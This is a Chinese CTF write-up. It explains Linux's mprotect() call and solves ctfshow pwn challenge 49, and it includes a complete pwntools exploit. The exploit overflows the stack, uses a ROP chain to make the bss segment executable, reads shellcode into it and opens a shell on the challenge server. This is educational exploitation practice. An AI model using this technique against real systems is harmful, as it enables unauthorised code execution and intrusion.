0%

mprotect函数

一、mprotect() 函数

(1)mprotect() 函数简介

在二进制漏洞利用(Pwn)中,mprotect() 函数是一个非常重要的系统调用,它用于修改内存区域的访问权限。这在漏洞利用中很有用,例如当你想要在一段原本不可执行的内存区域中执行 shellcode 时,就可以使用 mprotect() 函数将该区域的权限修改为可执行。

(2)mprotect() 函数的原型

1
2
3
#include <sys/mman.h>

int mprotect(void *addr, size_t len, int prot);

参数说明

addr len prot
修改权限的内存区域的起始地址,该地址必须是系统页大小(通常是 4096 字节)的整数倍 修改权限的内存区域的长度,单位是字节 指定新的内存访问权限

内存访问权限:

PROT_READ PROT_WRITE PROT_EXEC PROT_NONE
允许读取该内存区域 允许写入该内存区域 允许执行该内存区域中的代码 禁止对该内存区域进行任何访问

注:一般prot直接修改为7,即可读可写可执行

二、例题ctfshow49

(1)思路

我们可以通过栈溢出调用mprotect() 函数,将bss段修改为可读可写可执行,通过read函数将shellcode写入bss段,最后将返回地址改为bss段就可以

但是mprotect函数需要设置三个参数,我们要找到一个含有三个pop一个ret指令的地址,将原有的参数pop走,再写入新的参数

我们使用ROPgadge命令找到三个连续的寄存器 ROPgadget –binary pwn –only “pop|ret”

image-20250125111005854

pop_ebx_esi_ebp_ret = 0x080a019b

第一个参数:addr=0x80d8000

第二个参数:len=0x1000

第三个参数:port=7

同样read函数也需要设置三个参数

在 C 语言里,read 函数的原型如下

1
2
3
#include <unistd.h>

ssize_t read(int fd, void *buf, size_t count);

参数解释:

fd:文件描述符,用于指定从哪个文件或设备读取数据(0标准输入;1标准输出;2错误输出)

buf:指向用于存储读取数据的缓冲区的指针

count:期望读取的最大字节数

第一个参数:fd=0

第二个参数:buf=0x80d8000(bss段任意一个地址就可以)

第三个参数:count=0x1000

(2)exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import*
elf=ELF('./pwn')
context(os = 'linux', arch = 'i386', log_level = 'debug')
io = remote('pwn.challenge.ctf.show', 28134)
mprotect= elf.sym['mprotect']
read = elf.sym['read']
pop_ebx_esi_ebp_ret = 0x080a019b
shellcode = asm(shellcraft.sh()) #生成shellcode
addr=0x80d8000
buf=0x80d8000
len=0x1000
port=7
payload = b'a'*(0x12+0x4)+p32(mprotect) #将返回地址设为mprotect
payload += p32(pop_ebx_esi_ebp_ret)+p32(addr)+p32(len)+p32(port) #设置mprotect的参数
payload += p32(read) #将mprotect返回地址设为read
payload +=p32(pop_ebx_esi_ebp_ret)+p32(0)+p32(buf)+p32(len) #设置read的参数
payload +=p32(buf) #将read的返回地址设为buf(也就是shellcode)
io.sendline(payload)
io.sendline(shellcode) #将shellcode写入bss
io.interactive()
// 在最后添加